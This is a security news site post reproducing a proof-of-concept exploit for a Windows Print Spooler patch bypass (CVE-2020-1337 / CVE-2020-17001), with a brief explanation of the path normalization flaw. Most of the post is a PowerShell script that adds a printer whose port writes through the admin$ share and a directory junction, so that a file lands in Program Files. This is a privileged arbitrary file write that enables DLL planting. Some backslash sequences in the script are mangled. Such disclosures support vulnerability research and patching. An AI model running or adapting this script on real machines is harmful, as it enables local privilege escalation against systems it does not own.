Skip to content
RealinfoSec.net

RealinfoSec.net

InfoSec News, Cybersecurity Awareness

  • Home
  • InfoSec News
    • Data Breach News
    • Latest Vulnerabilities
  • What Is InfoSec
  • CyberSecurity Newsletter
  • Cyber Academy
  • Cyber Help Desk
  • Cyber Knowledge Base
  • Contact Us
    • Contribute
  • My Bookmarks
  • Subscribers
    • Knowledge Quizzes
    • Register
  • Login
    • Password Reset
  • Register
  • Privacy Policy
    • Legal
  • Toggle search form
mslocalspool

Microsoft Windows Local Spooler Bypass Vulnerability

Posted on 13 November 202013 November 2020 By RiSec.Mitch No Comments on Microsoft Windows Local Spooler Bypass Vulnerability

One way of exploiting this on Windows 10 200x is to understand that FileNormalizedNameInformation will fail if the new path after the mount point is not under the root directory of the server. For example the admin$ share points to c:\\windows. If you set the mount point to write to c:\\Program Files then the normalization process will fail and the original string returned. This allows you to write to anywhere outside the windows directory by placing a mount point somewhere like system32\ asks.

For example the following script will write the DLL to the root of Program Files.

Windows: Local Spooler CVE-2020-1337 Bypass
 

mkdir \"C:\\windows\\system32\  asks\  est\"
Add-PrinterDriver -Name \"Generic / Text Only\" 
Add-PrinterPort -Name \"\\\\localhost\\admin$\\system32\  asks\  est\  est.dll\" 
Add-Printer -Name \"PrinterExploit\" -DriverName \"Generic / Text Only\" -PortName \"\\\\localhost\\admin$\\system32\  asks\  est\  est.dll\"
rmdir \"C:\\windows\\system32\  asks\  est\"
New-Item -ItemType Junction -Path \"C:\\windows\\system32\  asks\  est\" -Value \"C:\\Program Files\"
\"TESTTEST\" | Out-Printer -Name \"PrinterExploit\"
 
 
Related CVE Numbers: CVE-2020-1337,CVE-2020-17001,CVE-2020-1337.
 
 
 
Found by: forshaw at google.com
Bookmark

Please login to bookmark

Social Comments Box
  • About
  • Latest Posts
RiSec.Mitch
Just your average information security researcher from Delaware US.
Latest posts by RiSec.Mitch (see all)
  • Google Open-Source Vulnerability Scanning Tool - 18 January 2023
  • Polymorphic Malware Produced by ChatGPT - 18 January 2023
  • Russian Hackers Repurpose Decade-Old Malware Infrastructure to Deploy New Backdoors - 8 January 2023
Share the word, let's increase Cybersecurity Awareness as we know it

No related articles.

Recommended:  October CMS Build 465 - Arbitrary File Read Exploit (Authenticated) 11-13
Vulnerabilities Tags:bypass, code, CVE-2020-1337, CVE-2020-17001, example, exploit, microsoft, mkdir, spooler, SYS, system32, vulnerabilities, Vulnerability, win10, windows, windows 10, write

Post navigation

Previous Post: Multiple vulnerabilities in Microsoft products
Next Post: October CMS Build 465 – Arbitrary File Read Exploit (Authenticated) 11-13

Related Posts

ATX MiniCMTS200a Broadband Gateway 2.0 – Credential Disclosure Exploit Vulnerabilities
vulnerability Arbitrary Command Injection Affecting pipenv Trending
Social Networking Site – Authentication Bypass (SQli) Vulnerabilities
wordpress WordPress 5.8.3 security update fixes SQL injection, XSS flaws InfoSec News
OpenSourceCMS100article WonderCMS 3.1.3 – ‘content’ Persistent Cross-Site Scripting Vulnerabilities
CVE OpenSSL fixed two high-severity vulnerabilities InfoSec News

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

RiSec Captcha 48 + = 57

AbuseIPDB Contributor Badge

Follow Our Socials:

Latest InfoSec News

Data Breach News InfoSec News

JD Sports: Cyber Attack affects 10 million customers

RiSec.n0tst3
30 January 2023 0
what is infosec
Cybersecurity Academy

InfoSec – A Newbie Guide – InfoSecurity

RiSec.n0tst3
25 January 2023 0
google
Cybersecurity Academy How to

Google Open-Source Vulnerability Scanning Tool

RiSec.Mitch
18 January 2023 0
InfoSec News

Polymorphic Malware Produced by ChatGPT

RiSec.Mitch
18 January 2023 0
russia
InfoSec News

Russian Hackers Repurpose Decade-Old Malware Infrastructure to Deploy New Backdoors

RiSec.Mitch
8 January 2023 0
latest cybersecurity news
InfoSec News

Dridex Banking Malware Targets MacOS users with a new delivery method

RiSec.Mitch
8 January 2023 0
ransomware
InfoSec News

Microsoft Discloses Methods Employed by 4 Ransomware Families Aiming at macOS

RiSec.Mitch
8 January 2023 0
InfoSec News

$8 billion in cryptocurrency withdrawals strike US bank Silvergate

RiSec.Mitch
8 January 2023 0

Featured Posts

cve-2022-38970
Data Security Featured How to InfoSec News Vulnerabilities

ieGeek Security Vulnerabilities still prevalent in 2022 IG20

RiSec.n0tst3
28 August 2022 6
Data Security Featured InfoSec News

Hacking Campaign Steals 10,000 Login Credentials From 130 Different Organizations

RiSec.n0tst3
27 August 2022 0
DDoS
Featured InfoSec News

Google mitigates largest DDoS Attack in History – Peaked at 46 Million RPS

RiSec.n0tst3
19 August 2022 1
Security researcher contacted me
Cybersecurity Academy Featured How to

A Security Researcher Contacted Me – What should I do?

RiSec.n0tst3
30 June 2022 0
google chrome
Featured InfoSec News

Google Chrome extensions can be easily fingerprinted to track you online

RiSec.n0tst3
19 June 2022 0
MFA
Cybersecurity Academy Data Security Featured

3 Steps To Better Account Security

RiSec.n0tst3
21 February 2022 0
hardening vps security
Cybersecurity Academy Featured

HARDEN YOUR VPS: Steps to Hardening your VPS Security

RiSec.n0tst3
10 January 2022 2

Share the joy

Copyright © 2022 RealinfoSec.net. CyberSecurity News & Awareness. All Trademarks, Logos And Brand Names Are The Property Of Their Respective Owners

We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept”, you consent to the use of the cookies. Cookie & Privacy Policy
Cookie settingsACCEPT
Privacy & Cookies Policy

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary
Always Enabled
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Non-necessary
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
SAVE & ACCEPT
en English
af Afrikaanssq Albanianam Amharicar Arabichy Armenianaz Azerbaijanieu Basquebe Belarusianbn Bengalibs Bosnianbg Bulgarianca Catalanceb Cebuanony Chichewazh-CN Chinese (Simplified)zh-TW Chinese (Traditional)co Corsicanhr Croatiancs Czechda Danishnl Dutchen Englisheo Esperantoet Estoniantl Filipinofi Finnishfr Frenchfy Frisiangl Galicianka Georgiande Germanel Greekgu Gujaratiht Haitian Creoleha Hausahaw Hawaiianiw Hebrewhi Hindihmn Hmonghu Hungarianis Icelandicig Igboid Indonesianga Irishit Italianja Japanesejw Javanesekn Kannadakk Kazakhkm Khmerko Koreanku Kurdish (Kurmanji)ky Kyrgyzlo Laola Latinlv Latvianlt Lithuanianlb Luxembourgishmk Macedonianmg Malagasyms Malayml Malayalammt Maltesemi Maorimr Marathimn Mongolianmy Myanmar (Burmese)ne Nepalino Norwegianps Pashtofa Persianpl Polishpt Portuguesepa Punjabiro Romanianru Russiansm Samoangd Scottish Gaelicsr Serbianst Sesothosn Shonasd Sindhisi Sinhalask Slovaksl Slovenianso Somalies Spanishsu Sudanesesw Swahilisv Swedishtg Tajikta Tamilte Teluguth Thaitr Turkishuk Ukrainianur Urduuz Uzbekvi Vietnamesecy Welshxh Xhosayi Yiddishyo Yorubazu Zulu